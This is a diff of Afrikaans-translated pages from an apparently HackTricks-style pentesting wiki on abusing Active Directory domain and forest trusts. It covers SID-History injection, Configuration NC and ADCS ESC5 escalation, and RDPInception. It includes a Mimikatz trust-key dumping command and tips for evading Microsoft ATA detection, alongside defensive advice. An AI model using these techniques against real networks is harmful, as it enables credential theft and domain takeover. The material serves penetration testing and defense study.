- **Bos Vertroue**: Hierdie tipe vertroue is 'n twee-rigting transitive vertroue tussen twee bosworteldomeine, wat ook SID filtrering afdwing om sekuriteitsmaatreëls te verbeter.
- **MIT Vertroue**: Hierdie vertroue word gevestig met nie-Windows, [RFC4120-kompatible](https://tools.ietf.org/html/rfc4120) Kerberos domeine. MIT vertroue is 'n bietjie meer gespesialiseerd en dien omgewings wat integrasie met Kerberos-gebaseerde stelsels buite die Windows-ekosisteem vereis.
#### Ander verskille in **vertrouende verhoudings**
- 'n Vertrouensverhouding kan ook **transitief** wees (A vertrou B, B vertrou C, dan A vertrou C) of **nie-transitief** wees.
- 'n Vertrouensverhouding kan as **bidireksionele vertroue** (albei vertrou mekaar) of as **een-rigting vertroue** (slegs een van hulle vertrou die ander) opgestel word.
- 'n Vertrouensverhouding kan opgestel word as **bidireksionele vertroue** (albei vertrou mekaar) of as **een-rigting vertroue** (slegs een van hulle vertrou die ander).
### Aanvalspad
1. **Enumerate** die vertrouende verhoudings
2. Kyk of enige **sekuriteitsprinsipaal** (gebruiker/groep/rekenaar) **toegang** tot hulpbronne van die **ander domein** het, dalk deur ACE inskrywings of deur in groepe van die ander domein te wees. Soek na **verhoudings oor domeine** (die vertroue is waarskynlik hiervoor geskep).
1. Kerberoast in hierdie geval kan 'n ander opsie wees.
1. kerberoast in hierdie geval kan 'n ander opsie wees.
3. **Kompromenteer** die **rekeninge** wat deur domeine kan **pivot**.
```
Get-DomainTrust
@ -557,7 +557,7 @@ WhenChanged : 2/19/2021 1:28:00 PM
```
> [!WARNING]
> Daar is **2 vertroude sleutels**, een vir _Child --> Parent_ en nog een vir _Parent_ --> _Child_.\
> U kan die een wat deur die huidige domein gebruik word, met:
> Jy kan die een wat deur die huidige domein gebruik word met:
>
> ```bash
> Invoke-Mimikatz -Command '"lsadump::trust /patch"' -ComputerName dc.my.domain.local
@ -566,7 +566,7 @@ WhenChanged : 2/19/2021 1:28:00 PM
#### SID-History Inspuiting
Verhoog as Enterprise admin na die kind/ouer domein deur die vertroue met SID-History inspuiting te misbruik:
Verhoog as Enterprise admin na die child/parent domein deur die vertroue met SID-History inspuiting te misbruik:
{{#ref}}
sid-history-injection.md
@ -574,7 +574,7 @@ sid-history-injection.md
#### Exploit skryfbare Konfigurasie NC
Om te verstaan hoe die Konfigurasie Naam Konteks (NC) misbruik kan word, is van kardinale belang. Die Konfigurasie NC dien as 'n sentrale berging vir konfigurasie data oor 'n woud in Active Directory (AD) omgewings. Hierdie data word na elke Domein Beheerder (DC) binne die woud gerepliceer, met skryfbare DC's wat 'n skryfbare kopie van die Konfigurasie NC handhaaf. Om dit te misbruik, moet 'n mens **SYSTEM regte op 'n DC** hê, verkieslik 'n kind DC.
Om te verstaan hoe die Konfigurasie Naam Konteks (NC) misbruik kan word, is van kardinale belang. Die Konfigurasie NC dien as 'n sentrale berging vir konfigurasie data oor 'n woud in Active Directory (AD) omgewings. Hierdie data word na elke Domein Beheerder (DC) binne die woud gerepliseer, met skryfbare DC's wat 'n skryfbare kopie van die Konfigurasie NC handhaaf. Om dit te misbruik, moet 'n mens **SYSTEM regte op 'n DC** hê, verkieslik 'n child DC.
**Koppel GPO aan wortel DC webwerf**
@ -592,11 +592,11 @@ Gedetailleerde analise kan gevind word in die bespreking oor [Golden gMSA Trust
Hierdie metode vereis geduld, terwyl daar gewag word vir die skepping van nuwe bevoorregte AD-objekte. Met SYSTEM regte kan 'n aanvaller die AD Schema wysig om enige gebruiker volledige beheer oor alle klasse te verleen. Dit kan lei tot ongemagtigde toegang en beheer oor nuutgeskepte AD-objekte.
Verder leeswerk is beskikbaar oor [Schema Change Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-6-schema-change-trust-attack-from-child-to-parent).
Verdere leeswerk is beskikbaar oor [Schema Change Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-6-schema-change-trust-attack-from-child-to-parent).
**Van DA na EA met ADCS ESC5**
Die ADCS ESC5 kwesbaarheid teiken beheer oor Publieke Sleutel Infrastruktuur (PKI) objek om 'n sertifikaat sjabloon te skep wat autentisering as enige gebruiker binne die woud moontlik maak. Aangesien PKI objek in die Konfigurasie NC woon, stel die kompromittering van 'n skryfbare kind DC die uitvoering van ESC5-aanvalle in staat.
Die ADCS ESC5 kwesbaarheid teiken beheer oor Publieke Sleutel Infrastruktuur (PKI) objekte om 'n sertifikaat sjabloon te skep wat verifikasie as enige gebruiker binne die woud moontlik maak. Aangesien PKI objekte in die Konfigurasie NC woon, stel die kompromittering van 'n skryfbare child DC die uitvoering van ESC5-aanvalle in staat.
Meer besonderhede hieroor kan gelees word in [From DA to EA with ESC5](https://posts.specterops.io/from-da-to-ea-with-esc5-f9f045aa105c). In scenario's waar ADCS ontbreek, het die aanvaller die vermoë om die nodige komponente op te stel, soos bespreek in [Escalating from Child Domain Admins to Enterprise Admins](https://www.pkisolutions.com/escalating-from-child-domains-admins-to-enterprise-admins-in-5-minutes-by-abusing-ad-cs-a-follow-up/).
@ -631,15 +631,15 @@ WhenChanged : 2/19/2021 10:15:24 PM
```
In hierdie scenario **jou domein** is **vertrou** op sommige **privileges** aan 'n hoof van 'n **verskillende domeine**.
Echter, wanneer 'n **domein vertrou** word deur die vertrouende domein, skep die vertroude domein **n gebruiker** met 'n **voorspelbare naam** wat as **wagwoord die vertroude wagwoord** gebruik. Dit beteken dat dit moontlik is om **toegang te verkry tot 'n gebruiker van die vertrouende domein om binne die vertroude een te kom** om dit te evalueer en te probeer om meer privileges te verhoog:
Echter, wanneer 'n **domein vertrou** word deur die vertrouende domein, skep die vertroude domein **n gebruiker** met 'n **voorspelbare naam** wat as **wagwoord die vertroude wagwoord** gebruik. Dit beteken dat dit moontlik is om **toegang te verkry tot 'n gebruiker van die vertrouende domein om binne die vertroude een te kom** om dit te evalueer en te probeer om meer privileges te verhoog:
{{#ref}}
external-forest-domain-one-way-outbound.md
{{#endref}}
n Ander manier om die vertroude domein te kompromitteer, is om 'n [**SQL vertroude skakel**](abusing-ad-mssql.md#mssql-trusted-links) te vind wat in die **teenoorgestelde rigting** van die domeinvertroue geskep is (wat nie baie algemeen is nie).
Nog 'n manier om die vertroude domein te kompromitteer, is om 'n [**SQL vertroude skakel**](abusing-ad-mssql.md#mssql-trusted-links) te vind wat in die **teenoorgestelde rigting** van die domeinvertroue geskep is (wat nie baie algemeen is nie).
n Ander manier om die vertroude domein te kompromitteer, is om te wag op 'n masjien waar 'n **gebruiker van die vertroude domein toegang kan verkry** om in te log via **RDP**. Dan kan die aanvaller kode in die RDP-sessieproses inspuit en **toegang verkry tot die oorspronklike domein van die slagoffer** van daar.\
Nog 'n manier om die vertroude domein te kompromitteer, is om te wag op 'n masjien waar 'n **gebruiker van die vertroude domein toegang kan verkry** om in te log via **RDP**. Dan kan die aanvaller kode in die RDP-sessieproses inspuit en **toegang verkry tot die oorspronklike domein van die slagoffer** van daar.\
Boonop, as die **slagoffer sy hardeskyf gemonteer het**, kan die aanvaller vanuit die **RDP-sessie** proses **terugdeure** in die **opstartgids van die hardeskyf** stoor. Hierdie tegniek word **RDPInception** genoem.
{{#ref}}
@ -656,14 +656,14 @@ rdp-sessions-abuse.md
### **Selektiewe Verifikasie:**
- Vir inter-woudvertroue, verseker die gebruik van Selektiewe Verifikasie dat gebruikers van die twee woude nie outomaties geverifieer word nie. In plaas daarvan is eksplisiete toestemmings nodig vir gebruikers om toegang te verkry tot domeine en bedieners binne die vertrouende domein of woud.
- Dit is belangrik om daarop te let dat hierdie maatreëls nie teen die uitbuiting van die skryfbare Konfigurasie Naam Konteks (NC) of aanvalle op die vertrou rekening beskerm nie.
- Dit is belangrik om te noem dat hierdie maatreëls nie beskerm teen die uitbuiting van die skryfbare Konfigurasie Naam Konteks (NC) of aanvalle op die vertrou rekening nie.
[**Meer inligting oor domeinvertroue in ired.team.**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/child-domain-da-to-ea-in-parent-domain)
## AD -> Azure & Azure -> AD
{{#ref}}
https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-lateral-movements/azure-ad-connect-hybrid-identity
https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/index.html
{{#endref}}
## Sommige Algemene Verdedigings
@ -672,26 +672,26 @@ https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-lateral-movement
### **Defensiewe Maatreëls vir Kredensiaalbeskerming**
- **Domein Administrateurs Beperkings**: Dit word aanbeveel dat Domein Administrateurs slegs toegelaat word om in te log op Domein Beheerders, en dat hulle nie op ander gasheer gebruik moet word nie.
- **Domein Administrateurs Beperkings**: Dit word aanbeveel dat Domein Administrateurs slegs toegelaat word om in te log op Domein Beheerders, en dat hulle nie op ander gasheer gebruik word nie.
- **Diensrekening Privileges**: Dienste moet nie met Domein Administrateur (DA) privileges gedra word om sekuriteit te handhaaf nie.
- **Tydelike Privilege Beperking**: Vir take wat DA privileges vereis, moet die duur daarvan beperk word. Dit kan bereik word deur: `Add-ADGroupMember -Identity Domain Admins -Members newDA -MemberTimeToLive (New-TimeSpan -Minutes 20)`
### **Implementering van Misleidingstegnieke**
- Implementering van misleiding behels die opstelling van lokvalle, soos lokgebruikers of rekenaars, met kenmerke soos wagwoorde wat nie verval nie of as Vertrou vir Delegasie gemerk is. 'n Gedetailleerde benadering sluit in om gebruikers met spesifieke regte te skep of hulle aan hoëprivilege groepe toe te voeg.
- Die implementering van misleiding behels die opstelling van lokvalle, soos lokgebruikers of rekenaars, met kenmerke soos wagwoorde wat nie verval nie of as Vertrou vir Delegasie gemerk is. 'n Gedetailleerde benadering sluit die skep van gebruikers met spesifieke regte of die toevoeging daarvan aan hoëprivilege groepe in.
- 'n Praktiese voorbeeld behels die gebruik van gereedskap soos: `Create-DecoyUser -UserFirstName user -UserLastName manager-uncommon -Password Pass@123 | DeployUserDeception -UserFlag PasswordNeverExpires -GUID d07da11f-8a3d-42b6-b0aa-76c962be719a -Verbose`
- Meer oor die implementering van misleidingstegnieke kan gevind word by [Deploy-Deception op GitHub](https://github.com/samratashok/Deploy-Deception).
- Meer oor die ontplooiing van misleidingstegnieke kan gevind word by [Deploy-Deception on GitHub](https://github.com/samratashok/Deploy-Deception).
### **Identifisering van Misleiding**
- **Vir Gebruiker Voorwerpe**: Verdagte aanduiders sluit ongewone ObjectSID, ongewone aanmeldings, skeppingsdatums, en lae slegte wagwoord tellings in.
- **Algemene Aanduiders**: Vergelyking van eienskappe van potensiële lokvoorwerpe met dié van werklike kan inkonsekwensies onthul. Gereedskap soos [HoneypotBuster](https://github.com/JavelinNetworks/HoneypotBuster) kan help om sulke misleidings te identifiseer.
- **Vir Gebruikerobjekte**: Verdagte aanduidings sluit ongewone ObjectSID, ongewone aanmeldings, skeppingsdatums, en lae slegte wagwoord tellings in.
- **Algemene Aanduidings**: Die vergelyking van eienskappe van potensiële lokobjekte met dié van werklike kan inkonsekwensies onthul. Gereedskap soos [HoneypotBuster](https://github.com/JavelinNetworks/HoneypotBuster) kan help om sulke misleidings te identifiseer.
### **Om Ontdekkingsisteme te Omseil**
- **Microsoft ATA Ontdekking Omseiling**:
- **Gebruiker Enumerasie**: Vermy sessie-evaluering op Domein Beheerders om ATA ontdekking te voorkom.
- **Tiket Impersonasie**: Die gebruik van **aes** sleutels vir tiket skepping help om ontdekking te ontduik deur nie na NTLM af te gradeer nie.
- **Gebruiker Enumerasie**: Vermy sessie-evaluasie op Domein Beheerders om ATA ontdekking te voorkom.
- **Tiket Vervalsing**: Die gebruik van **aes** sleutels vir tiket skepping help om ontdekking te ontduik deur nie na NTLM af te gradeer nie.
- **DCSync Aanvalle**: Dit word aanbeveel om van 'n nie-Domein Beheerder uit te voer om ATA ontdekking te vermy, aangesien direkte uitvoering vanaf 'n Domein Beheerder waarskuwings sal aktiveer.
## Verwysings

View File

@ -10,8 +10,8 @@ Daar is verskillende maniere om opdragte in eksterne stelsels uit te voer, hier
- [**AtExec / SchtasksExec**](atexec.md)
- [**WinRM**](winrm.md)
- [**DCOM Exec**](dcom-exec.md)
- [**Pass the cookie**](https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-lateral-movements/az-pass-the-cookie) (cloud)
- [**Pass the PRT**](https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-lateral-movements/pass-the-prt) (cloud)
- [**Pass the AzureAD Certificate**](https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-lateral-movements/az-pass-the-certificate) (cloud)
- [**Pass the cookie**](https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.html) (cloud)
- [**Pass the PRT**](https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.html) (cloud)
- [**Pass the AzureAD Certificate**](https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.html) (cloud)
{{#include ../../banners/hacktricks-training.md}}